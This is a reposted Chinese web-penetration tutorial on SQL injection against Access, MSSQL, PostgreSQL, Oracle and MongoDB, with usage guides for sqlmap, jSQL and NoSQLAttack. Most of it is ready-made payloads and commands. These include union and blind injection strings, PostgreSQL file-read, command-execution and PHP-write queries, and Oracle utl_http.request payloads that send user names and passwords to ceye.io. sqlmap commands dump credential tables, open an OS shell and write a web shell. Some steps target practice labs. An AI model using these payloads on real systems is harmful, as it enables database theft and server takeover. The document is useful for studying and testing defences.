【Web渗透】常见数据库SQL注入思路

admin 2023年12月20日10:21:25评论18 views字数 16586阅读55分17秒阅读模式


WEB 漏洞-Oracle,MongoDB 等注入

【Web渗透】常见数据库SQL注入思路

一、简要学习各种数据库的注入特点

access,mysql, mssql , mongoDB,postgresql, sqlite,oracle,sybase等

1、access注入

sql的配置文件用户决定网站注入点用户权限。

Access数据库中存放
表名
列名
数据

//access 数据库都是存放在网站目录下,
数据库文件后缀格式为 mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,
1234567

access三大攻击手法

1.access注入攻击片段-联合查询法
2.access注入攻击片段-逐字猜解法
3.工具类的使用注入(推荐)
123

Access注入攻击方式

主要有:union 注入、http header 注入、偏移注入等

模拟案例:

墨者学院靶机

实训目标

1.掌握SQL注入原理; 2.了解手工注入的方法; 3.了解Access的数据结构; 4.了解字符串的MD5加解密;

解题方向

手工进行SQL注入测试,获取管理密码登录。 【Web渗透】常见数据库SQL注入思路

1)判断数据库类型
借助工具 sqlmap
sqlmap -u http://219.153.49.228:40088/new_list.asp?id=1
1

【Web渗透】常见数据库SQL注入思路

2)判断字段
union  order by 1,2,3,4
1
3)查询数据

靠猜,使用工具字典

union select 1,2,3,4 from admin
1

有admin这个表就会字段出现屏幕

【Web渗透】常见数据库SQL注入思路

有这个表在猜列名‘

union select 1,username,3,4 from admin
1

【Web渗透】常见数据库SQL注入思路

2、sql Server数据库

参考文档:https://www.cnblogs.com/xishaonian/p/6173644.html

判断数据库类型

【Web渗透】常见数据库SQL注入思路

判断数据库版本

【Web渗透】常见数据库SQL注入思路

MSSQL注入
①判断数据库类型
and exists (select * from sysobjects)--返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

②判断数据库版本
      and 1=@@version--这个语句要在有回显的模式下才可以哦
      and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2008的话就返回正常)

③获取所有数据库的个数 (一下3条语句可供选择使用)  
1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(coun、   and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--
  and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
  and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
说明:dbid从1-4的数据库一般为系统数据库.

⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)  
  and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
  and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

⑥获取当前数据库  
and db_name()>0

and 1=(select db_name())--

⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】
  and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
  and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--复制代码测试效果图:得到 3个敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup

⑧获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):
  and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
  and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

效果图:既然有账户信息,我就不管是不是管理员的的了,我帖子的目的不是为了得到管理员的信息,只是为了演示可以通过这个方法来获取相关信息。

⑨获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
  and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
  and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%' 就会筛选出含有user关键词的出来。用在筛选表段时很不错。

注意:在使用一次获取数据库信息的语句时,请使用火狐浏览器,笔者测试 IE8、360急速浏览器、猎豹浏览器均卡死,火狐浏览器也会导致出现几秒钟的卡死,弹出框框,我们点击“停止脚本”就会得到初步解决。!!!!!!!!!!!!!!!!!!!!至此,我们已经得到了账户信息了,至于管理员的呢,哈哈,大家自行测试时换表啥的就好了。

转载自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm
12345678910111213141516171819202122232425262728293031323334353637383940414243444546

【Web渗透】常见数据库SQL注入思路

3、postgresql注入

https://www.shuzhiduo.com/A/A7zgZ1QNd4/

一、postgresql简介

postgresql是一款关系型数据库,广泛应用在web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派。

二、postgresql的SQL注入:(注意注释符号–+)

1、简单的有回显的SQL注入不用多说,还是基本的SQL语句直接查询就可以了。

 #简单的payload
parameter = 2-1
parameter = 1 and 1 = 2
parameter = 1 or 1 = 2-1
parameter = 1' and '1'='1#and -> or
parameter = 1' and '1'='2#and -> or
123456

或者引号区分发(适用于字符串)

 parameter = 1    #Success
parameter = 1'   #Failed
parameter = 1'' #Success
123

2、一般的基于时间的盲注,可以参考下面的办法:

 #postgresql 的几个简单判断payload:
parameter=1;select pg_sleep(5)
parameter=1';select pg_sleep(5)
parameter=1');select pg_sleep(5)
parameter=1);select pg_sleep(5)
parameter=1));select pg_sleep(5)
parameter=select pg_sleep(5)
1234567

盲注的逐位猜解

 SELECT CASE WHEN (COALESCE(ASCII(SUBSTR(({current_user}),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+
1

3、常见的函数查看一些基本信息:

 SELECT version() #查看版本信息
#查看用户
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;#这里是usename不是username
SELECT getpgusername();
#查看当前数据库
SELECT current_database()
123456789

4、postgresql下的if

 #mysql的
if(expr1,result1,result2);
#如果expr1满足,result1,否则result2 #对于postgresql
select case when(expr1) then result1 else result2 end; #举个例子
select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
12345

5、其他

(1)读取文件:

 select pg_read_file(filepath+filename);
1

(2)执行命令:

 select system("comamnd_string");
1

(3)写入文件:

 COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
1
使用sqlmap注入

靶机: 【Web渗透】常见数据库SQL注入思路语法:

sqlmap -u http://ip/new_list.asp?id=1 -v 3
1

【Web渗透】常见数据库SQL注入思路

获取表名:

sqlmap -u ip  --tables
1

获取数据库:需要高权限

sqlmap -u ip  --dbs
1

查看当前用户是不是管理员

会返回true或者fluse

sqlmap -u ip  --is-dba -v 3
1
4、Oracle注入

参考文档:https://www.cnblogs.com/peterpan0707007/p/8242119.html

# [【实战】Oracle注入总结](https://www.cnblogs.com/peterpan0707007/p/8242119.html)

**一、Union联合查询**

  *order by 定字段
  and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下
  and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型
    第一个字段是字符型,判断第二个字段类型:
    and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
    第一个字段是数字型,判断第二个字段类型:
    and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
  判断第n个字段的类型,依次类推即可
  确定回显位,假设当前共2个字段,全是数字型,判断方式如下:
  and 1=2 union select 1,2 from dual
  假设回显位是2,爆当前数据库中的第一个表:
  and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual
  爆当前数据库中的第二个表:
  and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual
  以此类推去爆第n个表
  爆某表中的第一个字段:
  and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大写的)') from dual
  爆某表中的第二个字段:
  and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')) from dual
  爆其它字段以此类推
  爆某表中的第一行数据:
  and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --连接多个字段用到的连接符号是||,在oracle数据库中,concat函数只能连接两个字符串*

  通过字段名找到对应表:
  SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;

  查询第N行:
  SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)

  当前用户:
  SELECT user FROM dual;

  列出所有用户:
  SELECT username FROM all_users ORDER BY username;

  列出数据库
  SELECT DISTINCT owner FROM all_tables;

  列出表名:
  SELECT table_name FROM all_tables;
  SELECT owner, table_name FROM all_tables;

  列出字段名:
  SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
  SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

  定位DB文件:
  SELECT name FROM V$DATAFILE;
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152

实例:

一、UNION联合查询型注入

1、判断注入点类型

【Web渗透】常见数据库SQL注入思路

【Web渗透】常见数据库SQL注入思路

【Web渗透】常见数据库SQL注入思路

注入点类型为单引号字符型

2、order by定字段

【Web渗透】常见数据库SQL注入思路

【Web渗透】常见数据库SQL注入思路

3、确定每个字段的类型

oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。

【Web渗透】常见数据库SQL注入思路

第一个字段为数字型

【Web渗透】常见数据库SQL注入思路

第二个字段为字符型

4、确定回显位

【Web渗透】常见数据库SQL注入思路

5、爆表

用户第一个表

【Web渗透】常见数据库SQL注入思路

【Web渗透】常见数据库SQL注入思路

或者

【Web渗透】常见数据库SQL注入思路

其它表使用相同方法即可爆出

6、爆字段

这里以我爆出的用户帐号表为例进行爆字段

【Web渗透】常见数据库SQL注入思路

爆第二个字段,方法和爆第二个表一样,加个删选条件就行了

【Web渗透】常见数据库SQL注入思路

其它的类似

7、爆值

oracle的字符连接用||符号,或者用concat,但是concat只能连接连个字符串(可以嵌套实现连接多个字符串),我这里用||符号连接输出的字符串。

【Web渗透】常见数据库SQL注入思路

二、布尔型盲注

(select length(table_name) from user_tables where rownum=1)>5

(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)>100

(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)

(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)>10

三、Order by后注入**


判断很简单,字段个数超出就会报错,随便给个10000就OK了

也可以参考数字型的注入方式:利用算数表达式:1/0

报错
利用decode和ordsys.ord_dicom.getmappingxpath()
decode(1,1,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#false
decode(1,2,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#true

带外注入
utl_http.request('http://ceye.io/')



**四、In查询后注入**


*表示注入点
select * from user where DEPARTMENT in ('HR*','ADMIN');

自然想到使用使用字符串拼接:||
'||case when ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),1,1))>0 then '' else 'carrypan' end||'
实际测试会出现以下问题:
服务端获取参数值后会以逗号作为分隔符,而substr等语句就会因为单引号未正常闭合导致语句执行出错,就无法进行进一步判断了,经测试,可以采取以下方法:

报错注入
'||upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) ||'

带外请求
'||utl_http.request((select user from dual)||'.ceyey.io') ||'

注版本:
utl_http.request('http://ceye.io/'||(select banner from sys.v_$version where rownum=1))

判断包含密码字段的数据表的个数
utl_http.request('http://ceye.io/'||(select to_char(count(*)) from user_tab_columns where column_name like '%25PASSWORD%25'))

注包含密码字段的数据表
utl_http.request('http://ceye.io/'||(select table_name from user_tab_columns where column_name like '%25PASSWORD%25'))
如果多个,可以使用rownum判断

注数据表中字段
utl_http.request('http://ceye.io/'||(select column_name from user_tab_columns where table_name='USERS') where limit=§1§)

批量出数据
utl_http.request('http://ceye.io/'||(Select data from (selEct rownum as limit,(rownum||'_'||USER_NAME||'_'||PASSWORD) as data from USERS)where limit = §1§))
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849

【Web渗透】常见数据库SQL注入思路

┌──(root💀kali)-[~/hackbar]
└─# sqlmap -u http://219.153.49.228:41644/new_list.php?id=1 --batch
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=1 AND 2434=2434

  Type: UNION query
  Title: Generic UNION query (NULL) - 2 columns
  Payload: id=-4068 UNION ALL SELECT CHR(113)||CHR(118)||CHR(122)||CHR(112)||CHR(113)||CHR(88)||CHR(97)||CHR(102)||CHR(67)||CHR(117)||CHR(109)||CHR(97)||CHR(101)||CHR(110)||CHR(105)||CHR(85)||CHR(72)||CHR(117)||CHR(99)||CHR(88)||CHR(119)||CHR(73)||CHR(79)||CHR(85)||CHR(76)||CHR(89)||CHR(98)||CHR(106)||CHR(78)||CHR(114)||CHR(73)||CHR(81)||CHR(115)||CHR(109)||CHR(104)||CHR(109)||CHR(89)||CHR(98)||CHR(120)||CHR(89)||CHR(117)||CHR(103)||CHR(88)||CHR(75)||CHR(104)||CHR(113)||CHR(106)||CHR(106)||CHR(112)||CHR(113),NULL FROM DUAL-- DhFb
---
[13:34:35] [INFO] testing Oracle
[13:34:35] [INFO] confirming Oracle
[13:34:35] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[13:34:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/219.153.49.228'
[13:34:35] [WARNING] your sqlmap version is outdated

[*] ending @ 13:34:35 /2021-06-23/
12345678910111213141516171819
5、mongoDB注入

参考文档:https://www.cnblogs.com/wefeng/p/11503102.html

SQLmap不能识别MongoDB这里介绍nosqlattack:https://github.com/youngyangyang04/NoSQLAttack

┌──(root💀kali)-[~/hackbar]
└─# sqlmap -u http://219.153.49.228:47077/new_list.php?id=1 --batch
[13:53:16] [INFO] testing connection to the target URL
[13:53:16] [INFO] testing if the target URL content is stable
[13:53:16] [INFO] target URL content is stable
[13:53:16] [INFO] testing if GET parameter 'id' is dynamic
[13:53:16] [INFO] GET parameter 'id' appears to be dynamic
[13:53:16] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[13:53:16] [INFO] testing for SQL injection on GET parameter 'id'
[13:53:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:53:17] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[13:53:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:53:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:53:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[13:53:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[13:53:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[13:53:18] [INFO] testing 'Generic inline queries'
[13:53:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[13:53:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[13:53:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[13:53:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:53:19] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[13:53:19] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[13:53:19] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[13:53:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[13:53:20] [WARNING] GET parameter 'id' does not seem to be injectable
[13:53:20] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[13:53:20] [WARNING] your sqlmap version is outdated
1234567891011121314151617181920212223242526272829

nosqlattack

三、简要学习各种注入工具的使用指南

1、jsql工具安装使用

┌──(root💀kali)-[~/hackbar]
└─# apt-get -f install jsql
正在读取软件包列表... 完成
正在分析软件包的依赖关系树
正在读取状态信息... 完成
下列【新】软件包将被安装:
jsql
升级了 0 个软件包,新安装了 1 个软件包,要卸载 0 个软件包,有 1573 个软件包未被升级。
需要下载 2,500 B 的归档。
解压缩后会消耗 9,216 B 的额外空间。
获取:1 https://mirrors.aliyun.com/kali kali-rolling/main amd64 jsql all 0.82-0kali2 [2,500 B]
已下载 2,500 B,耗时 2秒 (1,099 B/s)
正在选中未选择的软件包 jsql。
(正在读取数据库 ... 系统当前共安装有 307905 个文件和目录。)
准备解压 .../jsql_0.82-0kali2_all.deb ...
正在解压 jsql (0.82-0kali2) ...
正在设置 jsql (0.82-0kali2) ...
1234567891011121314151617

启动直接数据jsql

【Web渗透】常见数据库SQL注入思路

【Web渗透】常见数据库SQL注入思路

对一些简单的注入有用对于post注入的效果不好

2.pangolin工具使用【Web渗透】常见数据库SQL注入思路

能够做一些简单的SQL注入、对于post注入效果也不是很好,另外执行的速度也很慢,只能在window平台使用。

熟悉工具的支持库,注入模式,优缺点等

sqlmap, NoSQLAttack , Pangolin等

相关资源

https://www.cnblogs.com/bmjoker/p/9326258.html
https://github.com/youngyangyang04/NoSQLAttack
https://github.com/sqlmapproject/sqlmap/zipball/master
https:/blog.csdn.net/qq_39936434/category_9103379.html
https://www.mozhe.cn/bug/WUJ30GVQSTlyeXdvbHU2ZmVOMjVDU7bW96aGUmozhe
12345

3.NoSQLAttack

NoSQLAttack支持mongoDB的注入工具

NoSQLAttack工具在Github平台上托管,其地址为:https://github.com/youngyangyang04/NoSQLAttack

【Web渗透】常见数据库SQL注入思路

1.使用前先要进行配置

选择2号选项设置iP ,端口等

【Web渗透】常见数据库SQL注入思路

2.选择3号选项配置URL

【Web渗透】常见数据库SQL注入思路

3.输入x ,选择4号选项,开始尝试注入

sqpmap详解

一 、-u

实际操作可以加上参数--batch,不用每次都提示作选择[Y/N]

sqlmap -u url

-u 指定目标URL (可以是http协议也可以是https协议)
123

sqlmap判断网站是否存在sql注入漏洞出现以下页面 就存在漏洞

testing connection to the target URL
//测试到目标URL的连接,表示连接成功
12
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
可能是mysql数据库,是不是还要测试别的数据库,请选择
12
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

存在漏洞,是否还要接着测试其他漏洞
123

【Web渗透】常见数据库SQL注入思路

二、–flush session

清除本机指定url测试缓存

sqlmap -u url --flush session
1

三、获取数据库系统的所有数据库名称(暴库)

枚举DBMS所有数据库:--dbs

SQLMap操作命令:

sqlmap -u http://192.168.31.128/sql/Less-2/?id=1  --dbs 
1

执行结果:检测列出了Mysql数据库管理系统中的6个数据库

一、SQLMap拖库

SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列的功能。

测试的Payload共分为5级:

Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 属于最高级别, Payload很多。

1、当我们发现注入点的时候

sqlmap -u "http://192.168.72.148/security/read.php?id=1"
1
12

2、查看所有的数据库

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --dbs
1

3、查看当前使用的数据库

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --current-db
1

4、发现使用的是Learn数据库,接下来对数据库进行查询

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" -D "learn" --tables
1

5、查出所有表后,对user表的列名进行查询

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" -D "learn" -T "user" --columns
1

6、users表中的列名已经知道了,可以直接查出所有的数据

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" -D "learn" -T "user" -C "userid,username,password" --dump

12

完成拖库的操作后,可以在输出中查看到表的数据,也可以直接根据提示信息进入相应文件查看内容

7、直接指定数据库类型,节省时间

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql

12

8、判断是否为DBA

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --is-dba

12

二、POST和Cookie

1、如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --dbs

12

2、如果注入点不是GET,而是POST请求,则要添加POST正文

Ⅰ、先将POST请求在Burp中进行捕获,将请求内容保存到文件中

【Web渗透】常见数据库SQL注入思路

Ⅱ、通常POST请求正文内容如下

POST /security/read.php?id=1 HTTP/1.1
Host: 192.168.72.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.72.148/security/read.php?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://192.168.72.148
Connection: close
Cookie: PHPSESSID=srb89pb85tbjmbokmao4c7uih4
Upgrade-Insecure-Requests: 1

username=root&password=123456&vcode=42ic&id=1
123456789101112131415
12345678910111213141516

Ⅲ、运行SQLMap时,再通过-r参数指定文件,同时通过-p参数明确指定参数,实现注入

sqlmap -r sqlmap.txt -p id --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbs
1
12

由于URL地址已经在sqlmap.txt的请求内容中,所以不需要指定-u参数。如果不通过-p指定id参数,则SQLMap会对所有的参数进行注入测试。如username=root&password=123456&vcode=42ic&id=1,此处四个参数都会被尝试。

三、OS-Shell

1、整个过程分为三个部分

Ⅰ、猜测网站绝对路径

Ⅱ、尝试写入木马

Ⅲ、获取到Shell命令行

sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --os-shell
1
12

2、手工读写文件

# 读写远程服务器上的文件
sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --file-read

# 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入
sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --file-write ./hack.php --file-dest /opt/lampp/htodcs/security/temp/hcak.php

# 此时,也可以使用Python调用sqlmap的命令(os.popen("").read())进行盲猜,循环遍历目录字典文件。
sqlmap -u "http://192.168.72.148/security/read.php?id=1" --cookie="PHPSESSID=srb89pb85tbjmbokmao4c7uih4" --dbms=mysql --os-shell --batch  
#--batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适用于自动化
123456789
12345678910

   

文章来源于互联网,只做学习交流,如有侵权请联系删除!原文链接:https://blog.csdn.net/qq_56414082/article/details/129828595

原文始发于微信公众号(信安学习笔记):【Web渗透】常见数据库SQL注入思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月20日10:21:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Web渗透】常见数据库SQL注入思路http://cn-sec.com/archives/2238247.html

发表评论

匿名网友 填写信息